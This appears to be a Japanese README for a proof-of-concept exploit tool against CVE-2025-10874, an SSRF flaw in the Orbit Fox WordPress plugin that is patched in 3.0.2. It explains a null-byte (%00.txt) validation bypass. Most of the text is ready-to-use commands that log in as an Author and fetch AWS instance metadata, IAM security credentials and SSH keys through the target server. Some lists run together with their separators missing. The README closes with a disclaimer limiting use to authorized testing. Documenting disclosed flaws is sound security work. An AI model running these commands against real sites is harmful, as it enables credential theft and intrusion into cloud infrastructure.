
CVE-2025-10874に対するヌルバイトインジェクション回避を用いたSSRFの実証

Orbit Fox WordPress プラグインにおけるサーバーサイドリクエストフォージェリ(SSRF)の脆弱性を、ヌルバイトインジェクションのバイパスとともに実証する概念実証エクスプロイトです。
詳細なブログ記事: https://ryanmroth.com/articles/orbit-fox-ssrf
| 詳細 | メモ |
|---|
| CVE ID: | CVE-2025-10874 |
| 影響を受けるプラグイン: | ThemeIsle 製 Orbit Fox |
| 脆弱性の種類: | サーバーサイドリクエストフォージェリ(SSRF)(CWE-918) |
| CVSS スコア: | 5.5(中) |
| 必要な権限: | Author+(WordPress の Author ロール以上) |
| 修正バージョン | 3.0.2+ |
Orbit Fox プラグインの MyStock インポート機能には SSRF の脆弱性が存在し、Author+ 権限を持つ認証済みユーザーが WordPress サーバーから任意の HTTP リクエストを送信できるようになります。この脆弱性は handle-request-mystock-import AJAX アクションに存在し、URL パラメータの検証とサニタイズが適切に行われていません。
このエクスプロイトは ヌルバイトインジェクションのバイパス(%00.txt)を利用して URL 検証を回避し、内部メタデータサービス、クラウドプロバイダー API、およびサーバーからアクセス可能なその他のネットワークリソースへのアクセスを可能にします。
http://169.254.169.254/latest/meta-data/hostnamehttp://169.254.169.254/latest/meta-data/iam/security-credentials/http://169.254.169.254/latest/meta-data/public-keys/0/openssh-keyrequests ライブラリurllib3 ライブラリ# リポジトリをクローン
git clone <repository-url>
cd Orbit-Fox_SSRF_CVE-2025-10874
# 依存関係をインストール(uv を使用)
uv sync
# または pip を使用
pip install requests urllib3
# AWS インスタンスのホスト名を抽出(デフォルトのターゲット)
python orbit_fox_poc.py http://target.com -u author -p password123
# カスタム SSRF ターゲット URL を指定
python orbit_fox_poc.py http://target.com -u author -p password123 \
-s http://169.254.169.254/latest/meta-data/hostname
# IAM ロールの認証情報を抽出
python orbit_fox_poc.py http://target.com -u author -p password123 \
-s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# SSH 公開鍵を抽出
python orbit_fox_poc.py http://target.com -u author -p password123 \
-s http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
# ヌルバイトバイパスなしでテスト(パッチ適用済みバージョンでは失敗します)
python orbit_fox_poc.py http://target.com -u author -p password123 --no-nullbyte
# トラブルシューティング用にデバッグ出力を有効化
python orbit_fox_poc.py http://target.com -u author -p password123 --debug
positional arguments:
target Target WordPress URL (e.g., http://example.com)
required arguments:
-u, --username WordPress username (Author+ role required)
-p, --password WordPress password
optional arguments:
-h, --help Show help message and exit
-s, --ssrf-url URL to request via SSRF
(default: http://169.254.169.254/latest/meta-data/hostname)
--no-nullbyte Disable null byte bypass (test basic SSRF only)
--debug Enable debug output for troubleshooting
%00.txt を追加して検証をバイパスしますhandle-request-mystock-import AJAX エンドポイントに細工したリクエストを送信しますhandle-request-mystock-import を使用した admin-ajax.php へのリクエストこの脆弱性はベンダーに責任を持って開示され、Orbit Fox バージョン 3.0.2 でパッチが適用されています。この概念実証は以下の目的で提供されています:
許可されたセキュリティテストのみ
このツールは教育および許可されたセキュリティテストの目的のみで提供されています。コンピュータシステムへの不正アクセスは違法です。ユーザーは以下を行う必要があります:
作者はこのツールの誤用について一切の責任を負いません。
最終更新日: 2025-10-06